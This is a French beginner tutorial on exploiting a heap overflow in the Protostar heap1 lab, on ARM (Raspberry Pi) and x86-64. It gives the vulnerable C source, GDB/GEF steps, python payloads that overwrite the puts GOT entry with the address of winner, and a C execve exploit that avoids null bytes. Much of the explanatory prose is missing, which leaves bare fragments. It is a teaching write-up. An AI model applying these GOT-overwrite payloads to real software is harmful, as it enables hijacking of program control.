Débordement de tas Linux pour les débutants

Ce tutoriel est destiné aux débutants, mais il suppose que le lecteur est déjà familiarisé avec les bases de la fonction malloc  de la  glibc. Examinons de plus près comment exploiter les débordements de tas sous  Linux en  utilisant l'exemple d'un Raspberry PI / ARM1176 32 bits  . Nous analyserons également certaines des nuances de fonctionnement  des  systèmes x86-x64 . Pour cela, nous utiliserons les outils   GDB  +  GEF .





Passons directement au code vulnérable que j'ai emprunté aux tâches du laboratoire  Protostar , à savoir  cette tâche .





#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
      
      



En bref sur le code. 





  • Des structures sont créées  i1, i2, i3







  • Au démarrage du programme, deux arguments sont passés, qui sont copiés aux adresses des pointeurs  i1->name



     et,  i2->name



    respectivement.  





  • Et à la fin, le message  "et c'est une enveloppe les gens!" ...





Une tâche

Appelez une fonction  winner







Décision

Commençons par compiler le code:





gcc -o heap1 heap1.c
      
      



  • Pour appeler une fonction  winner



    , vous devez prendre son adresse et l'écrire dans le pointeur, qui contient l'adresse de la fonction  printf 







  • Pour ce faire, vous devez déborder le pointeur  i1->name



     et écraser l'adresse par l'   i2->name



     adresse de la fonction  winner







  • ,   i1->name



      i2->name.



      





, . 





.





1

. GDB 





gdb -q heap1
      
      







disas main
      
      







b *0x000105
      
      







r AAAA BBBB
      
      



:





info proc map
      
      







x/120x 0x22000
      
      



(chunk). .





2

.





heap chunks
      
      



0x22160



,





heap chunk 0x22160
      
      



  • 16





  • 12  





  • 4





32 . 12 20 , . ( 64 32 + 24 + 8 = 64 , 40 )





24 (20 4 ):





./heap1 $(python3 -c 'print("A"*24+" "+"BBBB")')
      
      



 Segmentation fault. , . 





gdb ./heap1
disas main
      
      



 strcopy



,  0x000105e8









b *0x105e8
      
      







r $(python3 -c 'print("A"*24+" "+"BBBB")')
      
      



, :





 winner



, ,  printf



 (  puts



). 





x/i 0x103a0
      
      



 puts 



 GOT.  GEF  got



.   GOT . 





got
      
      



, ,  0x21018



.  winner



.





 winner



.





p winner
      
      



 0x10504



.





.  i2->name



  :





r $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")'
      
      



,  0x21018



   0x10504 <winner>



, .  nexti 



,   0x21018







 0x10504 <winner>



. :





./heap1 $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
      
      



,  bash  , , - (ignored null byte in input), , ,  winner



. .





 Linux   x86-x64.    GDB 10.1.90   ARM1176, Raspberry  GDB 8.2.1. , puts



,    .plt





disas main
      
      



:





x/i 0x555555555040
      
      



.  , .





 winner







p winner
      
      



 puts 0x555555558020 



,  x20,    ,  , ,  bash  . . ,  "$(...)"



, :





./heap1 "$(python -c 'print("A"*40+"\x20\x80\x55\x55\x55\x55"+" "+"\x75\x51\x55\x55\x55\x55")')"
      
      



. , , 8 -, .. 





\x20\x80\x55\x55\x55\x55\x00\x00





\x75\x51\x55\x55\x55\x55\x00\x00





Mais ici aussi, un problème se pose, car le shell de commande traite les octets nuls comme la fin de la ligne et l'exploit ne fonctionnera pas, car les adresses sont reçues incorrectes.





Pour résoudre ce problème, vous pouvez utiliser la fonction  execve  du langage C. 





Nous écrivons un exploit:





#include <stdio.h>
#include <unistd.h>
int main(void) 
{
  char* const argv[] = {"", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x80\x55\x55\x55\x55\x00\x00", "\x75\x51\x55\x55\x55\x55\x00\x00", 0 };
  if (execve("./heap1", argv, NULL) == -1)
    perror("Could not execve");
  return 1;
}
      
      



Je pense que tout est clair dans le code.





Compilez et exécutez





gcc ./exploit.c -o exploit
gdb -q ./exploit
      
      



Maintenant, l'exploit fonctionne comme il se doit:





C'est tout. Merci pour l'attention.








All Articles